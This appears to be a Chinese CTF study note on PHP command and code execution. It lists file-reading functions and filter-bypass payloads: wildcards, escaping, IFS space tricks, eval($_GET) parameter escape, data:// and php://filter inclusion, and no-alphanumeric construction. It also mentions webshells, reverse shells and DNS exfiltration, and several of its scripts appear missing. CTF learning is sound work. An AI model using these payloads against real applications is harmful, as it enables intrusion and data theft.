type
status
date
slug
summary
tags
category
icon
password
一.常见命令与执行函数
1.查看目录
ls
scandir() 配合print_r,var_dump,var_export等使用
利用glob伪协议
2.查看文件内容
cat、tac、head、tail、less、more、nl、paste、rev、uniq、grep、sort、od、awk、base64、file -f、bash -v flag、 curl file:///path/to/flag.php、vim、vi
3.命令执行函数
4.无参数常用函数
var_dump()
、var_export()
:用于输出变量的相关信息
scandir()
:返回当前目录中所有的文件和目录,结果是一个数组
current()
与pos()
:返回当前数组中的值(默认第一个)
localeconv()
:返回本地数字及货币信息的数组(该数组的第一项是.
,可以与scandir
配合使用)
getallheaders()
:获取所有请求头信息,并返回键值对
strrev()
:返回反转后的字符串
eval()
、assert()
:代码执行
system()
、passthru()
:命令执行
highlight_file()
、show_source()
、read_file()
、readgzfile
:读取文件内容
getenv()
:获取环境变量(php7.1版本以上)
get_defined_vars()
:返回由已定义变量所组成的多维数组
数组操作
end()
:内部指针指向数组中最后一个元素并输出
next()
:指向下一个元素并输出
prev()
:指向上一个元素并输出
reset()
:指向数组中第一个元素并输出
each()
:返回当前元素的键名和键值,并将内部指针向前移动
array_rand()
:随机返回一个键名
array_flip()
:交换数组中的键与值,返回交换后的数组
array_reverse()
:以相反的顺序返回数组内容
array_shift()
:删除数组中的第一个元素并返回被删除的值
array_pop()
:删除数组中的最后一个元素并返回被删除的值
implode()
:用于将数组转化为字符串,让echo
或printf
得以输出结果
目录操作
getcwd()
:获取当前工作目录
chdir()
:改变当前的目录
dirname()
:对路径作操作,返回去掉文件名后的目录名(如/test/index.php
返回/test
)
二.绕过方式
1.关键字
通配:? * fla? 利用命令在
/usr/bin
目录 /???/???/????64 fla*
转义:\
ca\t fla\g
"" ''
ca""t fl''g
正则匹配:
cat f[k-m]ag
内联:
cat `ls` cat $(ls)
利用$* ${*}
ca${1}t flag ca$1t flag
命令拼接:
2.空格绕过
<>,${IFS},$IFS$*,%09(tab),%0b,%0c,<,%0a,{}({cat,flag})
3.分号绕过
?> || && &(%26) %0a %0d %0D %0A
网上说还能利用if与while语句,没试出来
if(passthru("tac%09fla*")){}
4.具有写入权限时
通过cp mv 复制移动flag文件直接访问
cp flag.php 1.txt
cat flag.php > flag.txt
压缩后访问下载
zip flag.zip flag.php
tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
写入命令到文件,访问后执行 ls>1.txt ls | tee 1.txt 或者直接写一句话木马,访问后执行命令
5.命令拼接
a=c;b=at;c=f;d=lag;$a$b ${c}${d}
6.参数逃逸
eval($_GET[1]);&1=cat flag
利用文件包含与伪协议
include$_GET[1];&1=php://filter/convert.base64-encode/resource=
ruquire$_GET[1];&1=php://filter/convert.base64-encode/resource=
include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>
7.利用环境路径等绕过
PATH:/bin
${USER}:
www-dataHOME:/
PWD:/var/www/html
数字
PHP_VERSION:可通过浏览器插件wappalyzer查看
例如:版本为7.3.22 ${PHP_VERSION:~A}等价于2
-1:~A(任意字母)
1:
${#SHLVL}
、${##}
、${#?}
3:${#IFS}
${#RANDOM}随机返回,多数为4或5,5的概率大(${RANDOM}完全随机)
8.无回显
1、写入文件。见上
2、dnslog外带 (有长度限制)
利用
3、http信道
1.利用 burp 的Collaborator Client
2.利用https://requestrepo.com/#/ 有长度限制
4、反弹shell bash反弹
5、反弹shell 利用平台
9.无参
利用上面提供的常用函数构造
1.get_defined_vars()返回变量
假如说原本只有一个参数a,那么可以多加一个参数b,后面写入恶意语句,payload:
2.session_id()
1.执行命令
将命令进行hex编码然后写入cookie
2.读取文件
3.getallheaders()&apache_request_headers()
局限于apache环境

sky是自己添加的请求头, end()指向最后一行的sky后的代码,达到phpinfo的目的,然后可以进一步去rce。
10.无数字字母
1.取反:~
取反构造脚本:
2.异或:^
字典生成:
异或构造脚本:
3.或:|
字典生成:
或构造脚本:
4.自增:
利用数组转字符串得到 Array,切片自增得到任意大小写字母,还可利用
一些示例
注意url编码
参考文章
‣
‣
‣
- 作者:sanye
- 链接:https://sanye.me/article/17c233a6-c40b-8088-aa81-e9c704015be0
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。